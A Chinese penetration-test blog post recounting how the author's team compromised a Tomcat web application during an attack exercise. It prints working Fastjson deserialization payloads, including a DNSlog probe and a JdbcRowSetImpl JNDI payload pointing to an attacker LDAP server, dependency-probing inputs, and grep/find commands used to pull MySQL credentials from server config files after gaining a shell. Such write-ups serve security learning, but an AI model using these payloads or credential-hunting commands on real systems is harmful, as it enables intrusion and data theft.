记一次HC上线全过程

前言

也是断断续续用了一些时间才拿下,队内浩然师傅很给力的嗷。

信息收集

项目前期的信息收集就是一个非常繁琐的过程,体力活,很痛苦。不过陆续还是通过icon hash、title、子域名、搜索到了很多目标资产。

image-20250321122222511

image-20250321122335545

我的想法就是直接fscan梭哈,能拿下脆弱资产就是最好的。

当然不出所料,没有收获,现在安全都是做的很好。大部分服务器都只开443、80。只能从web端入手。

也找到了一些后台,试过弱口令、文件上传,只能说很好,安全意识很棒奥,还是没有收获。

image-20250317200850374

持续了几天,除了信息收集稍微有进展,其他地方都推进不动,已经不知道从哪里入手了,突然浩然师傅目录扫描,看到主机上还有别的web站。另外提一句,打了几次HC,都有一定经验了,如果是APP的后台管理,那基本上会检测UA头,如果是WEB站,基本上会看IP地址,所以有时候多换几个IP试试(我这里就是我一直是美国节点,返回403,浩然师傅香港节点能直接访问)

image-20250317202345038

反正都得试试,于是迎来了这次项目得转机

转机

访问过程中有很多的JSON数据

image-20250317210704265

这不职业敏感性,想到fastjson或者jackson嘛

去掉一个括号,报错了,有戏

image-20250317220952978

探测一下出网情况,出网,多半有了!(其实DNS能出网,就认为存在fastjson漏洞,这是不正确的,这里是我感觉,有时候感觉很重要)

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"tv4jks.dnslog.cn"}}

image-20250317203348613

用报错回显看看fastjson版本

1
2
{
"@type": "java.lang.AutoCloseable"

image-20250317205637229

没版本回显。后续通过https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md 的poc,确定了版本应该是<=1.2.47

由于确定了fastjson小于1.2.47,直接用通用的payload打一波

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.30.1.214:1389/my9azs",
"autoCommit":true
}
}

JNDI工具用的 https://github.com/cckuailong/JNDI-Injection-Exploit-Plus?tab=readme-ov-file

没成功,这里其实就有点懵逼了,种种的不确定,不确定fastjson版本是不是<=1.2.47,于是选择探测依赖通过别的方式打。(当时没有及时想到JDK191之后对JNDI的限制,走了很多弯路)

FastJson引入依赖检测

测试比较通用的方法:利用Character转换报错

1
2
3
4
5
6
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}

还是没有回显

image-20250317205424811

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools

于是准备盲打一波了。

通过计划任务,C3P0、BCEL都没有打成功,其实这时候项目就已经停滞不前了。正值周末,也没兴趣再看了。

周一上班又开始看这个项目,不一会浩然师傅发来了这篇WP,用里面的JNDIBypass.jar,果然直接上线了。

image-20250317234919565

image-20250317235024674

后续上了vshell看java版本果然是大于191

image-20250317232823422

扩大成果

前期我们信息收集的时候已经发现他是tomcat搭建的所以直接找一下tomcat关于JDBC的配置文件

1
grep -ri "jdbc:mysql" /usr/local/tomcat/ 2>/dev/null

如果是Springboot框架就找spring的配置文件

1
find / -name *.yml .properties

image-20250318161049699

找到了mysql的账号密码,直接vshell代理出来就了

image-20250318161129980

image-20250321123621249

后续

后面我就没看了,第二天看到浩然师傅又拿下几个站。

众所周知,JAVA在8u191之后对JNDI注入对远程加载类有了严格的限制,目前公开常用的方法是通过Tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法或groovy.lang.GroovyShell#evaluate方法。另外就是LDAP本身可以存储对象的信息,可以利用LDAP返回一个恶意的序列化对象。

我们来看看这个JNDIBypass.jar 插件是怎么绕过高版本JNDI注入的?

主要的逻辑在start方法,配置了一个LDAP服务器,添加了自定义拦截器OperationInterceptor,拦截器调用了FastJson1.gen()

image-20250321141307095

进来可以看到是标准的Fastjson原生反序列化Gadget

image-20250321141221167

参考链接

write-up.md

Fastjson全版本检测及利用-Poc.md

fastjson反序列化漏洞区分版本号的方法总结

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机


记一次HC上线全过程
https://sp4rks3.github.io/2025/03/21/渗透实战/记一次HC上线全过程/
作者
Sp4rks3
发布于
2025年3月21日
许可协议